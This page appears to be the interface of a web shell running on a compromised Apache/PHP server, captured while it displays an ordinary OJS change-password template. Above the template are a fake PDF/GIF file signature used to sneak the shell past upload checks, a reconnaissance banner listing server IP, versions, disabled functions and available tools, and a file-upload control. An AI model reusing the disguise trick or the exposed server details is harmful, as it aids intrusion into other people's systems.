%PDF-1.7 GIF89;
| Server IP : 172.66.157.178 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/plugins/themes/pedagonal/templates/user/ |
Upload File : |
{**
* templates/user/loginChangePassword.tpl
*
* Copyright (c) 2013-2015 Simon Fraser University Library
* Copyright (c) 2000-2015 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* Form to change a user's password in order to login.
*
*}
{strip}
{assign var="pageTitle" value="user.changePassword"}
{assign var="passwordLengthRestrictionLocaleKey" value="user.register.passwordLengthRestriction"}
{url|assign:"currentUrl" page="login" op="changePassword"}
{include file="common/header.tpl"}
{/strip}
<script type="text/javascript">
$(function() {ldelim}
// Attach the form handler.
$('#loginChangePassword').pkpHandler('$.pkp.controllers.form.FormHandler');
{rdelim});
</script>
{if !$passwordLengthRestrictionLocaleKey}
{assign var="passwordLengthRestrictionLocaleKey" value="user.register.passwordLengthRestriction"}
{/if}
<form class="pkp_form" id="loginChangePassword" method="post" action="{url page="login" op="savePassword"}">
{if $confirmHash}
<input type="hidden" value="{$confirmHash|escape}" name="confirmHash" />
{/if}
{include file="common/formErrors.tpl"}
<p><span class="instruct">{if !$confirmHash}{translate key="user.login.changePasswordInstructions"}{else}{translate key="user.login.changePasswordInstructionsOneStep"}{/if}</span></p>
{fbvFormArea id="loginFields"}
{fbvFormSection label="user.username" for="username"}
{fbvElement type="text" required=true id="username" value=$username|escape maxlength="32" size=$fbvStyles.size.MEDIUM}
{/fbvFormSection}
{if !$confirmHash}
{fbvFormSection label="user.profile.oldPassword" for="oldPassword"}
{fbvElement type="text" required=true password=true id="oldPassword" value=$oldPassword|escape maxlength="32" size=$fbvStyles.size.MEDIUM}
{/fbvFormSection}
{/if}
{fbvFormSection label="user.profile.newPassword" for="password"}
{fbvElement type="text" required=true password=true id="password" value=$password|escape maxlength="32" size=$fbvStyles.size.MEDIUM}
{fieldLabel translate=true for=password key=$passwordLengthRestrictionLocaleKey length=$minPasswordLength}
{/fbvFormSection}
{fbvFormSection label="user.profile.repeatNewPassword" for="password2"}
{fbvElement type="text" required=true password=true id="password2" value=$password2|escape maxlength="32" size=$fbvStyles.size.MEDIUM}
{/fbvFormSection}
{fbvFormButtons}
{/fbvFormArea}
</form>
{include file="common/footer.tpl"}